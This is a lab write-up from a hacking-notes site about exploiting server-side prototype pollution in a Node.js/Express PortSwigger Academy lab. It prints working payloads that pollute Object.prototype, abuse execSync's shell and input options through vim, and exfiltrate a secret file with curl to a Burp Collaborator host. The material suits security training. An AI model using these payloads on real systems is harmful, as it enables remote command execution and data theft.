> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/prototype-pollution/exfiltration-of-sensitive-data-via-server-side-prototype-pollution.md).

# Exfiltration of Sensitive Data via Server Side Prototype Pollution

Exfiltration of Sensitive Data via Server Side Prototype Pollution notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remedia

### Exfiltrating Sensitive Data via Server-side Prototype Pollution

**Description of lab**

This lab is based on **Node.js** and the framework **Express**. The application is vulnerable to a **server-side prototype pollution** because it unsecuredly merges user-controlled data into server-side JavaScript objects.

Because of this configuration it is possible to pollute `Object.prototype` in order to inject and execute **arbitrary system commands**.

Lab objectives:

* Identify a prototype pollution point to add arbitrary properties to `Object.prototype`.
* Find a usable gadget to inject and execute system commands.
* Start executing a command that discloses the contents of Carlos' personal directory (`/home/carlos`) to a public **Burp Collaborator** server.
* Exfil the contents of a secret file in this directory and submit the value obtained.

Administrator access is already available. Connection possible with:

* **Credentials**: `wiener:peter`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01fd2158aa78f7e49b74917620278697bf4ba472%2F%7B7DC6F887-C737-46B2-8CED-20BF49B4C475%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Vulnerable entry point**

The functionality of **address modification** is vulnerable to prototype pollution.

Request sent:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN",
  "constructor": {
    "prototype": {
      "test": "false",
      "json spaces": 1
    }
  }
}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78c2ed00d637ba636fe1a54e93e6783d6af5dae4%2F%7BAD2A366F-A138-419B-8F9E-9015333AAFE8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Confirmation of pollution**

The server response confirms `Object.prototype` pollution and privilege escalation:

```json
{
 "username": "wiener",
 "firstname": "Peter",
 "lastname": "Wiener",
 "address_line_1": "Wiener HQ",
 "address_line_2": "One Wiener Way",
 "city": "Wienerville",
 "postcode": "BU1 1RP",
 "country": "UK",
 "isAdmin": true,
 "test": "false",
 "json spaces": 1
}
```

**Administrative operationality**

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-251c44a0f6226edba94553ab3963338a080ac395%2F%7BACFA5730-5607-416D-AA79-747733268EC5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

In the administration panel, a **Run maintenance** option is available. She sends the following request:

{% code overflow="wrap" %}

```json
{"csrf":"h46R2yfLgIvyIWxZirHtszPDxwU6L7Q1","sessionId":"kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN","tasks":["db-cleanup","fs-cleanup"]}
```

{% endcode %}

This feature uses `child_process.execSync()` server side. This function includes `shell` and `input` parameters, which is a gadget that can be exploited via prototype pollution.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-818009f74b478d194bd1177a326eb7d1d5807475%2F%7BC6B9AA25-EC1C-4351-A275-EFBED764B05C%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Injection of commands via `execSync`**

In `__proto__` pollutant, it is possible to control the options passed to `execSync`:

```bash
__proto__": {
    "shell":"vim",
    "input":":! curl https://xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54962d0c249ad391435e83f88d212592d2939d93%2F%7B5ADC9FB2-0B2F-44C2-A792-34E8433FB3BD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

When performing the maintenance job, it fails on the application side, but a query is sent to **Burp Collaborator**, confirming command execution.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b5aeec2ed7452fc386733de3785e6e5abaddfa93%2F%7BF16C0832-DEDA-4D4E-9F65-AF7973CA4016%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Exfiltration of secret file**

To exfil the contents of Carlos' secret file, the following payload is used:

```json
"__proto__": {OU
    "shell":"vim",
    "input":":! curl https://$(cat /home/carlos/secret).xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
```

OU:

```bash
cat /home/carlos/ | base64 | curl -d @- xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com
```

Full request:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN",
 "__proto__": {
    "shell":"vim",
    "input":":! curl https://$(cat /home/carlos/secret).xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
}
```

**Result**

The Burp Collaborator server receives a request containing the value of the secret file:

```bash
I8jYiV1Nkj3IiWR0sbp5fpgVd5NXbAfR
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68993faf103527806f7c0fdd1605044f7e60d756%2F%7BA9A156A3-A7FE-46B8-B01E-D49180EA2134%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/prototype-pollution/exfiltration-of-sensitive-data-via-server-side-prototype-pollution.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
